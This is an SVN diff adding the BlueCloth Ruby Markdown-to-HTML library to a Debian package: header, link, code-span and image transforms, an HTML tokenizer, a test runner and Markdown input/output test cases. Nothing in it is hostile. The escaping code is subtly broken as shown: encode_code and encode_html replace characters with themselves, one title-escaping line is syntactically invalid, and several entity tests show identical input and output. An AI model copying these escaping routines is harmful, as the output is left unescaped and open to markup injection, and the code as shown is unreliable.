+ \#* # optional closing #'s (not counted)
+ \n+
+ }x
+
+ ### Apply Markdown header transforms to a copy of the given +str+ amd render
+ ### state +rs+ and return the result.
+ def transform_headers( str, rs )
+ @log.debug " Transforming headers"
+
+ # Setext-style headers:
+ # Header 1
+ # ========
+ #
+ # Header 2
+ # --------
+ #
+ str.
+ gsub( SetextHeaderRegexp ) {|m|
+ @log.debug "Found setext-style header"
+ title, hdrchar = $1, $2
+ title = apply_span_transforms( title, rs )
+
+ case hdrchar
+ when '='
+ %[<h1>#{title}</h1>\n\n]
+ when '-'
+ %[<h2>#{title}</h2>\n\n]
+ else
+ title
+ end
+ }.
+
+ gsub( AtxHeaderRegexp ) {|m|
+ @log.debug "Found ATX-style header"
+ hdrchars, title = $1, $2
+ title = apply_span_transforms( title, rs )
+
+ level = hdrchars.length
+ %{<h%d>%s</h%d>\n\n} % [ level, title, level ]
+ }
+ end
+
+
+ ### Wrap all remaining paragraph-looking text in a copy of +str+ inside <p>
+ ### tags and return it.
+ def form_paragraphs( str, rs )
+ @log.debug " Forming paragraphs"
+ grafs = str.
+ sub( /\A\n+/, '' ).
+ sub( /\n+\z/, '' ).
+ split( /\n{2,}/ )
+
+ rval = grafs.collect {|graf|
+
+ # Unhashify HTML blocks if this is a placeholder
+ if rs.html_blocks.key?( graf )
+ rs.html_blocks[ graf ]
+
+ # Otherwise, wrap in <p> tags
+ else
+ apply_span_transforms(graf, rs).
+ sub( /^[ ]*/, '<p>' ) + '</p>'
+ end
+ }.join( "\n\n" )
+
+ @log.debug " Formed paragraphs: %p" % rval
+ return rval
+ end
+
+
+ # Pattern to match the linkid part of an anchor tag for reference-style
+ # links.
+ RefLinkIdRegex = %r{
+ [ ]? # Optional leading space
+ (?:\n[ ]*)? # Optional newline + spaces
+ \[
+ (.*?) # Id = $1
+ \]
+ }x
+
+ InlineLinkRegex = %r{
+ \( # Literal paren
+ [ ]* # Zero or more spaces
+ <?(.+?)>? # URI = $1
+ [ ]* # Zero or more spaces
+ (?: #
+ ([\"\']) # Opening quote char = $2
+ (.*?) # Title = $3
+ \2 # Matching quote char
+ )? # Title is optional
+ \)
+ }x
+
+ ### Apply Markdown anchor transforms to a copy of the specified +str+ with
+ ### the given render state +rs+ and return it.
+ def transform_anchors( str, rs )
+ @log.debug " Transforming anchors"
+ @scanner.string = str.dup
+ text = ''
+
+ # Scan the whole string
+ until @scanner.empty?
+
+ if @scanner.scan( /\[/ )
+ link = ''; linkid = ''
+ depth = 1
+ startpos = @scanner.pos
+ @log.debug " Found a bracket-open at %d" % startpos
+
+ # Scan the rest of the tag, allowing unlimited nested []s. If
+ # the scanner runs out of text before the opening bracket is
+ # closed, append the text and return (wasn't a valid anchor).
+ while depth.nonzero?
+ linktext = @scanner.scan_until( /\]|\[/ )
+
+ if linktext
+ @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ]
+ link += linktext
+
+ # Decrement depth for each closing bracket
+ depth += ( linktext[-1, 1] == ']' ? -1 : 1 )
+ @log.debug " Depth is now #{depth}"
+
+ # If there's no more brackets, it must not be an anchor, so
+ # just abort.
+ else
+ @log.debug " Missing closing brace, assuming non-link."
+ link += @scanner.rest
+ @scanner.terminate
+ return text + '[' + link
+ end
+ end
+ link.slice!( -1 ) # Trim final ']'
+ @log.debug " Found leading link %p" % link
+
+ # Look for a reference-style second part
+ if @scanner.scan( RefLinkIdRegex )
+ linkid = @scanner[1]
+ linkid = link.dup if linkid.empty?
+ linkid.downcase!
+ @log.debug " Found a linkid: %p" % linkid
+
+ # If there's a matching link in the link table, build an
+ # anchor tag for it.
+ if rs.urls.key?( linkid )
+ @log.debug " Found link key in the link table: %p" % rs.urls[linkid]
+ url = escape_md( rs.urls[linkid] )
+
+ text += %{<a href="#{url}"}
+ if rs.titles.key?(linkid)
+ text += %{ title="%s"} % escape_md( rs.titles[linkid] )
+ end
+ text += %{>#{link}</a>}
+
+ # If the link referred to doesn't exist, just append the raw
+ # source to the result
+ else
+ @log.debug " Linkid %p not found in link table" % linkid
+ @log.debug " Appending original string instead: "
+ @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ]
+ text += @scanner.string[ startpos-1 .. @scanner.pos-1 ]
+ end
+
+ # ...or for an inline style second part
+ elsif @scanner.scan( InlineLinkRegex )
+ url = @scanner[1]
+ title = @scanner[3]
+ @log.debug " Found an inline link to %p" % url
+
+ text += %{<a href="%s"} % escape_md( url )
+ if title
+ title.gsub!( /"/, """ )
+ text += %{ title="%s"} % escape_md( title )
+ end
+ text += %{>#{link}</a>}
+
+ # No linkid part: just append the first part as-is.
+ else
+ @log.debug "No linkid, so no anchor. Appending literal text."
+ text += @scanner.string[ startpos-1 .. @scanner.pos-1 ]
+ end # if linkid
+
+ # Plain text
+ else
+ @log.debug " Scanning to the next link from %p" % @scanner.rest
+ text += @scanner.scan( /[^\[]+/ )
+ end
+
+ end # until @scanner.empty?
+
+ return text
+ end
+
+
+ # Pattern to match strong emphasis in Markdown text
+ BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x
+
+ # Pattern to match normal emphasis in Markdown text
+ ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x
+
+ ### Transform italic- and bold-encoded text in a copy of the specified +str+
+ ### and return it.
+ def transform_italic_and_bold( str, rs )
+ @log.debug " Transforming italic and bold"
+
+ str.
+ gsub( BoldRegexp, %{<strong>\\2</strong>} ).
+ gsub( ItalicRegexp, %{<em>\\2</em>} )
+ end
+
+
+ ### Transform backticked spans into <code> spans.
+ def transform_code_spans( str, rs )
+ @log.debug " Transforming code spans"
+
+ # Set up the string scanner and just return the string unless there's at
+ # least one backtick.
+ @scanner.string = str.dup
+ unless @scanner.exist?( /`/ )
+ @scanner.terminate
+ @log.debug "No backticks found for code span in %p" % str
+ return str
+ end
+
+ @log.debug "Transforming code spans in %p" % str
+
+ # Build the transformed text anew
+ text = ''
+
+ # Scan to the end of the string
+ until @scanner.empty?
+
+ # Scan up to an opening backtick
+ if pre = @scanner.scan_until( /.?(?=`)/m )
+ text += pre
+ @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ]
+
+ # Make a pattern to find the end of the span
+ opener = @scanner.scan( /`+/ )
+ len = opener.length
+ closer = Regexp::new( opener )
+ @log.debug "Scanning for end of code span with %p" % closer
+
+ # Scan until the end of the closing backtick sequence. Chop the
+ # backticks off the resultant string, strip leading and trailing
+ # whitespace, and encode any enitites contained in it.
+ codespan = @scanner.scan_until( closer ) or
+ raise FormatError::new( @scanner.rest[0,20],
+ "No %p found before end" % opener )
+
+ @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ]
+ codespan.slice!( -len, len )
+ text += "<code>%s</code>" %
+ encode_code( codespan.strip, rs )
+
+ # If there's no more backticks, just append the rest of the string
+ # and move the scan pointer to the end
+ else
+ text += @scanner.rest
+ @scanner.terminate
+ end
+ end
+
+ return text
+ end
+
+
+ # Next, handle inline images: 
+ # Don't forget: encode * and _
+ InlineImageRegexp = %r{
+ ( # Whole match = $1
+ !\[ (.*?) \] # alt text = $2
+ \([ ]*
+ <?(\S+?)>? # source url = $3
+ [ ]*
+ (?: #
+ (["']) # quote char = $4
+ (.*?) # title = $5
+ \4 # matching quote
+ [ ]*
+ )? # title is optional
+ \)
+ )
+ }xs #"
+
+
+ # Reference-style images
+ ReferenceImageRegexp = %r{
+ ( # Whole match = $1
+ !\[ (.*?) \] # Alt text = $2
+ [ ]? # Optional space
+ (?:\n[ ]*)? # One optional newline + spaces
+ \[ (.*?) \] # id = $3
+ )
+ }xs
+
+ ### Turn image markup into image tags.
+ def transform_images( str, rs )
+ @log.debug " Transforming images" % str
+
+ # Handle reference-style labeled images: ![alt text][id]
+ str.
+ gsub( ReferenceImageRegexp ) {|match|
+ whole, alt, linkid = $1, $2, $3.downcase
+ @log.debug "Matched %p" % match
+ res = nil
+ alt.gsub!( /"/, '"' )
+
+ # for shortcut links like ![this][].
+ linkid = alt.downcase if linkid.empty?
+
+ if rs.urls.key?( linkid )
+ url = escape_md( rs.urls[linkid] )
+ @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ]
+
+ # Build the tag
+ result = %{<img src="%s" alt="%s"} % [ url, alt ]
+ if rs.titles.key?( linkid )
+ result += %{ title="%s"} % escape_md( rs.titles[linkid] )
+ end
+ result += EmptyElementSuffix
+
+ else
+ result = whole
+ end
+
+ @log.debug "Replacing %p with %p" % [ match, result ]
+ result
+ }.
+
+ # Inline image style
+ gsub( InlineImageRegexp ) {|match|
+ @log.debug "Found inline image %p" % match
+ whole, alt, title = $1, $2, $5
+ url = escape_md( $3 )
+ alt.gsub!( /"/, '"' )
+
+ # Build the tag
+ result = %{<img src="%s" alt="%s"} % [ url, alt ]
+ unless title.nil?
+ title.gsub!( /"/, '"' )
+ result += %{ title="%s"} % escape_md( title )
+ end
+ result += EmptyElementSuffix
+
+ @log.debug "Replacing %p with %p" % [ match, result ]
+ result
+ }
+ end
+
+
+ # Regexp to match special characters in a code block
+ CodeEscapeRegexp = %r{( \* | _ | \{ | \} | \[ | \] | \\ )}x
+
+ ### Escape any characters special to HTML and encode any characters special
+ ### to Markdown in a copy of the given +str+ and return it.
+ def encode_code( str, rs )
+ str.gsub( %r{&}, '&' ).
+ gsub( %r{<}, '<' ).
+ gsub( %r{>}, '>' ).
+ gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]}
+ end
+
+
+
+ #################################################################
+ ### U T I L I T Y F U N C T I O N S
+ #################################################################
+
+ ### Escape any markdown characters in a copy of the given +str+ and return
+ ### it.
+ def escape_md( str )
+ str.
+ gsub( /\*/, EscapeTable['*'][:md5] ).
+ gsub( /_/, EscapeTable['_'][:md5] )
+ end
+
+
+ # Matching constructs for tokenizing X/HTML
+ HTMLCommentRegexp = %r{ <! ( -- .*? -- \s* )+ > }mx
+ XMLProcInstRegexp = %r{ <\? .*? \?> }mx
+ MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp )
+
+ HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx
+ HTMLTagCloseRegexp = %r{ > }x
+ HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp )
+
+ ### Break the HTML source in +str+ into a series of tokens and return
+ ### them. The tokens are just 2-element Array tuples with a type and the
+ ### actual content. If this function is called with a block, the type and
+ ### text parts of each token will be yielded to it one at a time as they are
+ ### extracted.
+ def tokenize_html( str )
+ depth = 0
+ tokens = []
+ @scanner.string = str.dup
+ type, token = nil, nil
+
+ until @scanner.empty?
+ @log.debug "Scanning from %p" % @scanner.rest
+
+ # Match comments and PIs without nesting
+ if (( token = @scanner.scan(MetaTag) ))
+ type = :tag
+
+ # Do nested matching for HTML tags
+ elsif (( token = @scanner.scan(HTMLTagOpenRegexp) ))
+ tagstart = @scanner.pos
+ @log.debug " Found the start of a plain tag at %d" % tagstart
+
+ # Start the token with the opening angle
+ depth = 1
+ type = :tag
+
+ # Scan the rest of the tag, allowing unlimited nested <>s. If
+ # the scanner runs out of text before the tag is closed, raise
+ # an error.
+ while depth.nonzero?
+
+ # Scan either an opener or a closer
+ chunk = @scanner.scan( HTMLTagPart ) or
+ raise "Malformed tag at character %d: %p" %
+ [ tagstart, token + @scanner.rest ]
+
+ @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ]
+
+ token += chunk
+
+ # If the last character of the token so far is a closing
+ # angle bracket, decrement the depth. Otherwise increment
+ # it for a nested tag.
+ depth += ( token[-1, 1] == '>' ? -1 : 1 )
+ @log.debug " Depth is now #{depth}"
+ end
+
+ # Match text segments
+ else
+ @log.debug " Looking for a chunk of text"
+ type = :text
+
+ # Scan forward, always matching at least one character to move
+ # the pointer beyond any non-tag '<'.
+ token = @scanner.scan_until( /[^<]+/m )
+ end
+
+ @log.debug " type: %p, token: %p" % [ type, token ]
+
+ # If a block is given, feed it one token at a time. Add the token to
+ # the token list to be returned regardless.
+ if block_given?
+ yield( type, token )
+ end
+ tokens << [ type, token ]
+ end
+
+ return tokens
+ end
+
+
+ ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded.
+ def encode_html( str )
+ str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ).
+ gsub( %r{<(?![a-z/?\$!])}i, "<" )
+ end
+
+
+ ### Return one level of line-leading tabs or spaces from a copy of +str+ and
+ ### return it.
+ def outdent( str )
+ str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '')
+ end
+
+end # class BlueCloth
+
Added: packages/libbluecloth-ruby/trunk/test.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/test.rb 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/test.rb 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,117 @@
+#!/usr/bin/ruby
+#
+# Test suite for BlueCloth classes
+# $Id$
+#
+
+BEGIN {
+ $basedir = File::dirname( __FILE__ )
+ ["lib", "tests", "redist"].each do |subdir|
+ $LOAD_PATH.unshift File::join( $basedir, subdir )
+ end
+
+ require "#{$basedir}/utils"
+ include UtilityFunctions
+}
+
+verboseOff {
+ require 'bctestcase'
+ require 'find'
+ require 'test/unit'
+ require 'test/unit/testsuite'
+ require 'test/unit/ui/console/testrunner'
+ require 'optparse'
+}
+
+# Turn off output buffering
+$stderr.sync = $stdout.sync = true
+$DebugPattern = nil
+
+# Initialize variables
+safelevel = 0
+patterns = []
+requires = []
+
+# Parse command-line switches
+ARGV.options {|oparser|
+ oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
+
+ oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
+ "Turn debugging on (for tests which match PATTERN)" ) {|arg|
+ if arg
+ $DebugPattern = Regexp::new( arg )
+ puts "Turned debugging on for %p." % $DebugPattern
+ else
+ $DEBUG = true
+ debugMsg "Turned debugging on globally."
+ end
+ }
+
+ oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
+ $VERBOSE = true
+ debugMsg "Turned verbose on."
+ }
+
+ # Handle the 'help' option
+ oparser.on( "--help", "-h", "Display this text." ) {
+ $stderr.puts oparser
+ exit!(0)
+ }
+
+ oparser.parse!
+}
+
+# Parse test patterns
+ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
+$stderr.puts "#{patterns.length} patterns given on the command line"
+
+### Load all the tests from the tests dir
+Find.find("#{$basedir}/tests") {|file|
+ Find.prune if /\/\./ =~ file or /~$/ =~ file
+ Find.prune if /TEMPLATE/ =~ file
+ next if File.stat( file ).directory?
+
+ unless patterns.empty?
+ Find.prune unless patterns.find {|pat| pat =~ file}
+ end
+
+ debugMsg "Considering '%s': " % file
+ next unless file =~ /\.tests.rb$/
+ debugMsg "Requiring '%s'..." % file
+ require "#{file}"
+ requires << file
+}
+
+$stderr.puts "Required #{requires.length} files."
+unless patterns.empty?
+ $stderr.puts "[" + requires.sort.join( ", " ) + "]"
+end
+
+# Build the test suite
+class BlueClothTests
+ class << self
+ def suite
+ suite = Test::Unit::TestSuite.new( "BlueCloth" )
+
+ if suite.respond_to?( :add )
+ ObjectSpace.each_object( Class ) {|klass|
+ suite.add( klass.suite ) if klass < BlueCloth::TestCase
+ }
+ else
+ ObjectSpace.each_object( Class ) {|klass|
+ suite << klass.suite if klass < BlueCloth::TestCase
+ }
+ end
+
+ return suite
+ end
+ end
+end
+
+# Run tests
+$SAFE = safelevel
+Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start
+
+
+
+
Property changes on: packages/libbluecloth-ruby/trunk/test.rb
___________________________________________________________________
Name: svn:executable
+
Added: packages/libbluecloth-ruby/trunk/tests/00_Class.tests.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/00_Class.tests.rb 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/00_Class.tests.rb 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,71 @@
+#!/usr/bin/ruby
+#
+# Unit test for the BlueCloth class object
+# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+ basedir = File::dirname( __FILE__ )
+ require File::join( basedir, 'bctestcase' )
+end
+
+
+### This test case tests ...
+class BlueClothClassTestCase < BlueCloth::TestCase
+
+ TestString = "foo"
+
+ def test_00_class_constant
+ printTestHeader "BlueCloth: Class Constant"
+
+ assert Object::constants.include?( "BlueCloth" ),
+ "No BlueCloth constant in Object"
+ assert_instance_of Class, BlueCloth
+ end
+
+ def test_01_instantiation
+ printTestHeader "BlueCloth: Instantiation"
+ rval = nil
+
+ # With no argument... ("")
+ assert_nothing_raised {
+ rval = BlueCloth::new
+ }
+ assert_instance_of BlueCloth, rval
+ assert_kind_of String, rval
+ assert_equal "", rval
+
+ # String argument
+ assert_nothing_raised {
+ rval = BlueCloth::new TestString
+ }
+ assert_instance_of BlueCloth, rval
+ assert_kind_of String, rval
+ assert_equal TestString, rval
+
+ addSetupBlock {
+ debugMsg "Creating a new BlueCloth"
+ @obj = BlueCloth::new( TestString )
+ }
+ addTeardownBlock {
+ @obj = nil
+ }
+ end
+
+ def test_02_duplication
+ printTestHeader "BlueCloth: Duplication"
+ rval = nil
+
+ assert_nothing_raised {
+ rval = @obj.dup
+ }
+ assert_instance_of BlueCloth, rval
+ assert_kind_of String, rval
+ assert_equal TestString, rval
+ end
+
+
+end
+
Added: packages/libbluecloth-ruby/trunk/tests/05_Markdown.tests.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/05_Markdown.tests.rb 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/05_Markdown.tests.rb 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,1527 @@
+#!/usr/bin/ruby
+#
+# Test case for BlueCloth Markdown transforms.
+# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+ basedir = File::dirname( __FILE__ )
+ require File::join( basedir, 'bctestcase' )
+end
+
+
+### This test case tests ...
+class SubfunctionsTestCase < BlueCloth::TestCase
+
+ ### Test email address output
+ Emails = %w[
+ address at example.com
+ foo-list-admin at bar.com
+ fu at bar.COM
+ baz at ruby-lang.org
+ foo-tim-bazzle at bar-hop.co.uk
+ littlestar at twinkle.twinkle.band.CO.ZA
+ ll at lll.lllll.ll
+ Ull at Ulll.Ulllll.ll
+ UUUU1 at UU1.UU1UUU.UU
+ l at ll.ll
+ Ull.Ullll at llll.ll
+ Ulll-Ull.Ulllll at ll.ll
+ 1 at 111.ll
+ ]
+ # I can't see a way to handle IDNs clearly yet, so these will have to wait.
+ # info@öko.de
+ # jemand at büro.de
+ # irgendwo-interreßant at dÅgta.se
+ #]
+
+ def test_10_email_address
+ printTestHeader "BlueCloth: Inline email address"
+ rval = match = nil
+
+ Emails.each {|addr|
+ assert_nothing_raised {
+ rval = BlueCloth::new( "<#{addr}>" ).to_html
+ }
+
+ match = %r{<p><a href="([^\"]+)">[^<]+</a></p>}.match( rval )
+ assert_not_nil match, "Match against output #{rval}"
+ assert_equal "mailto:#{addr}", decode( match[1] )
+ }
+ end
+
+
+ def decode( str )
+ str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match|
+ code = $1
+ debugMsg "Decoding %p" % code
+
+ case code
+ when /^x([a-f0-9]+)/i
+ debugMsg " (hex) = %p" % $1.to_i(16).chr
+ $1.to_i(16).chr
+ when /\d{3}/
+ debugMsg " (oct) = %p" % code.to_i.chr
+ code.to_i.chr
+ else
+ raise "Hmmm... malformed entity %p" % code
+ end
+ }
+ end
+
+
+
+ #################################################################
+ ### A U T O - G E N E R A T E D T E S T S
+ #################################################################
+
+ # Parse the data section into a hash of test specifications
+ TestSets = {}
+ begin
+ seenEnd = false
+ inMetaSection = true
+ inInputSection = true
+ section, description, input, output = '', '', '', ''
+ linenum = 0
+
+ # Read this file, skipping lines until the __END__ token. Then start
+ # reading the tests.
+ File::foreach( __FILE__ ) {|line|
+ linenum += 1
+ if /^__END__/ =~ line then seenEnd = true; next end
+ debugMsg "#{linenum}: #{line.chomp}"
+ next unless seenEnd
+
+ # Start off in the meta section, which has sections and
+ # descriptions.
+ if inMetaSection
+
+ case line
+
+ # Left angles switch into data section for the current section
+ # and description.
+ when /^<<</
+ inMetaSection = false
+ next
+
+ # Section headings look like:
+ # ### [Code blocks]
+ when /^### \[([^\]]+)\]/
+ section = $1.chomp
+ TestSets[ section ] ||= {}
+
+ # Descriptions look like:
+ # # Para plus code block
+ when /^# (.*)/
+ description = $1.chomp
+ TestSets[ section ][ description ] ||= {
+ :line => linenum,
+ :sets => [],
+ }
+
+ end
+
+ # Data section has input and expected output parts
+ else
+
+ case line
+
+ # Right angles terminate a data section, at which point we
+ # should have enough data to add a test.
+ when /^>>>/
+ TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ]
+
+ inMetaSection = true
+ inInputSection = true
+ input = ''; output = ''
+
+ # 3-Dashed divider with text divides input from output
+ when /^--- (.+)/
+ inInputSection = false
+
+ # Anything else adds to either input or output
+ else
+ if inInputSection
+ input += line
+ else
+ output += line
+ end
+ end
+ end
+ }
+ end
+
+ debugMsg "Test sets: %p" % TestSets
+
+ # Auto-generate tests out of the test specifications
+ TestSets.each {|sname, section|
+
+ # Generate a test method for each section
+ section.each do |desc, test|
+ methname = "test_%03d_%s" %
+ [ test[:line], desc.gsub(/\W+/, '_').downcase ]
+
+ # Header
+ code = %{
+ def #{methname}
+ printTestHeader "BlueCloth: #{desc}"
+ rval = nil
+ }
+
+ # An assertion for each input/output pair
+ test[:sets].each {|input, output|
+ code << %{
+ assert_nothing_raised {
+ obj = BlueCloth::new(%p)
+ rval = obj.to_html
+ }
+ assert_equal %p, rval
+
+ } % [ input, output ]
+ }
+
+ code << %{
+ end
+ }
+
+
+ debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code]
+ eval code
+ end
+
+ }
+
+end
+
+
+__END__
+
+### [Paragraphs and Line Breaks]
+
+# Paragraphs
+<<<
+This is some stuff that should all be
+put in one paragraph
+even though
+it occurs over several lines.
+
+And this is a another
+one.
+--- Should become:
+<p>This is some stuff that should all be
+put in one paragraph
+even though
+it occurs over several lines.</p>
+
+<p>And this is a another
+one.</p>
+>>>
+
+# Line breaks
+<<<
+Mostly the same kind of thing
+with two spaces at the end
+of each line
+should result in
+line breaks, though.
+
+And this is a another
+one.
+--- Should become:
+<p>Mostly the same kind of thing<br/>
+with two spaces at the end<br/>
+of each line<br/>
+should result in<br/>
+line breaks, though.</p>
+
+<p>And this is a another<br/>
+one.</p>
+>>>
+
+# Escaping special characters
+<<<
+The left shift operator, which is written as <<, is often used & greatly admired.
+--- Should become:
+<p>The left shift operator, which is written as <<, is often used & greatly admired.</p>
+>>>
+
+# Preservation of named entities
+<<<
+The left shift operator, which is written as <<, is often used & greatly admired.
+--- Should become:
+<p>The left shift operator, which is written as <<, is often used & greatly admired.</p>
+>>>
+
+# Preservation of decimal-encoded entities
+<<<
+The left shift operator, which is written as <<, is often used & greatly admired.
+--- Should become:
+<p>The left shift operator, which is written as <<, is often used & greatly admired.</p>
+>>>
+
+# Preservation of hex-encoded entities
+<<<
+The left shift operator, which is written as <<, is often used & greatly admired.
+--- Should become:
+<p>The left shift operator, which is written as <<, is often used & greatly admired.</p>
+>>>
+
+# Inline HTML - table tags
+<<<
+This is a regular paragraph.
+
+<table>
+ <tr>
+ <td>Foo</td>
+ </tr>
+</table>
+
+This is another regular paragraph.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<table>
+ <tr>
+ <td>Foo</td>
+ </tr>
+</table>
+
+<p>This is another regular paragraph.</p>
+>>>
+
+# Inline HTML - div tags
+<<<
+This is a regular paragraph.
+
+<div>
+ Something
+</div>
+Something else.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<div>
+ Something
+</div>
+
+<p>Something else.</p>
+>>>
+
+
+# Inline HTML - Plain HR
+<<<
+This is a regular paragraph.
+
+<hr />
+
+Something else.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<hr />
+
+<p>Something else.</p>
+>>>
+
+
+# Inline HTML - Fancy HR
+<<<
+This is a regular paragraph.
+
+<hr class="publishers-mark" id="first-hrule" />
+
+Something else.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<hr class="publishers-mark" id="first-hrule" />
+
+<p>Something else.</p>
+>>>
+
+
+# Inline HTML - Iframe
+<<<
+This is a regular paragraph.
+
+<iframe src="foo.html" id="foo-frame"></iframe>
+
+Something else.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<iframe src="foo.html" id="foo-frame"></iframe>
+
+<p>Something else.</p>
+>>>
+
+
+# Inline HTML - mathml
+<<<
+Examples
+--------
+
+Now that we have met some of the key players, it is time to see what we can
+do. Here are some examples and comments which illustrate the use of the basic
+layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic
+MathML presentation encoding for this would be:
+
+<math>
+ <mrow>
+ <msup>
+ <mi>x</mi>
+ <mn>2</mn>
+ </msup>
+ <mo>+</mo>
+ <mn>4</mn>
+ <mi>x</mi>
+ <mo>+</mo>
+ <mn>4</mn>
+ <mo>=</mo>
+ <mn>0</mn>
+ </mrow>
+</math>
+
+This encoding will display as you would expect. However, if we were interested
+in reusing this expression in unknown situations, we would likely want to spend
+a little more effort analyzing and encoding the logical expression structure.
+
+--- Should become:
+<h2>Examples</h2>
+
+<p>Now that we have met some of the key players, it is time to see what we can
+do. Here are some examples and comments which illustrate the use of the basic
+layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic
+MathML presentation encoding for this would be:</p>
+
+<math>
+ <mrow>
+ <msup>
+ <mi>x</mi>
+ <mn>2</mn>
+ </msup>
+ <mo>+</mo>
+ <mn>4</mn>
+ <mi>x</mi>
+ <mo>+</mo>
+ <mn>4</mn>
+ <mo>=</mo>
+ <mn>0</mn>
+ </mrow>
+</math>
+
+<p>This encoding will display as you would expect. However, if we were interested
+in reusing this expression in unknown situations, we would likely want to spend
+a little more effort analyzing and encoding the logical expression structure.</p>
+>>>
+
+
+# Span-level HTML
+<<<
+This is some stuff with a <span class="foo">spanned bit of text</span> in
+it. And <del>this *should* be a bit of deleted text</del> which should be
+preserved, and part of it emphasized.
+--- Should become:
+<p>This is some stuff with a <span class="foo">spanned bit of text</span> in
+it. And <del>this <em>should</em> be a bit of deleted text</del> which should be
+preserved, and part of it emphasized.</p>
+>>>
+
+# Inline HTML (Case-sensitivity)
+<<<
+This is a regular paragraph.
+
+<TABLE>
+ <TR>
+ <TD>Foo</TD>
+ </TR>
+</TABLE>
+
+This is another regular paragraph.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<TABLE>
+ <TR>
+ <TD>Foo</TD>
+ </TR>
+</TABLE>
+
+<p>This is another regular paragraph.</p>
+>>>
+
+# Span-level HTML (Case-sensitivity)
+<<<
+This is some stuff with a <SPAN CLASS="foo">spanned bit of text</SPAN> in
+it. And <DEL>this *should* be a bit of deleted text</DEL> which should be
+preserved, and part of it emphasized.
+--- Should become:
+<p>This is some stuff with a <SPAN CLASS="foo">spanned bit of text</SPAN> in
+it. And <DEL>this <em>should</em> be a bit of deleted text</DEL> which should be
+preserved, and part of it emphasized.</p>
+>>>
+
+
+
+### [Code spans]
+
+# Single backtick
+<<<
+Making `code` work for you
+--- Should become:
+<p>Making <code>code</code> work for you</p>
+>>>
+
+# Literal backtick with doubling
+<<<
+Making `` `code` `` work for you
+--- Should become:
+<p>Making <code>`code`</code> work for you</p>
+>>>
+
+# Many repetitions
+<<<
+Making `````code````` work for you
+--- Should become:
+<p>Making <code>code</code> work for you</p>
+>>>
+
+# Two in a row
+<<<
+This `thing` should be `two` spans.
+--- Should become:
+<p>This <code>thing</code> should be <code>two</code> spans.</p>
+>>>
+
+# At the beginning of a newline
+<<<
+I should think that the
+`tar` command would be universal.
+--- Should become:
+<p>I should think that the
+<code>tar</code> command would be universal.</p>
+>>>
+
+# Entity escaping
+<<<
+The left angle-bracket (`<`) can also be written as a decimal-encoded
+(`<`) or hex-encoded (`<`) entity.
+--- Should become:
+<p>The left angle-bracket (<code>&lt;</code>) can also be written as a decimal-encoded
+(<code>&#060;</code>) or hex-encoded (<code>&#x3c;</code>) entity.</p>
+>>>
+
+# At the beginning of a document (Bug #525)
+<<<
+`world` views
+--- Should become:
+<p><code>world</code> views</p>
+>>>
+
+
+
+
+### [Code blocks]
+
+# Para plus code block (literal tab)
+<<<
+This is a chunk of code:
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+<p>This is a chunk of code:</p>
+
+<pre><code>some.code > some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Para plus code block (literal tab, no colon)
+<<<
+This is a chunk of code
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+<p>This is a chunk of code</p>
+
+<pre><code>some.code > some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Para plus code block (tab-width spaces)
+<<<
+This is a chunk of code:
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+<p>This is a chunk of code:</p>
+
+<pre><code>some.code > some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Para plus code block (tab-width spaces, no colon)
+<<<
+This is a chunk of code
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+<p>This is a chunk of code</p>
+
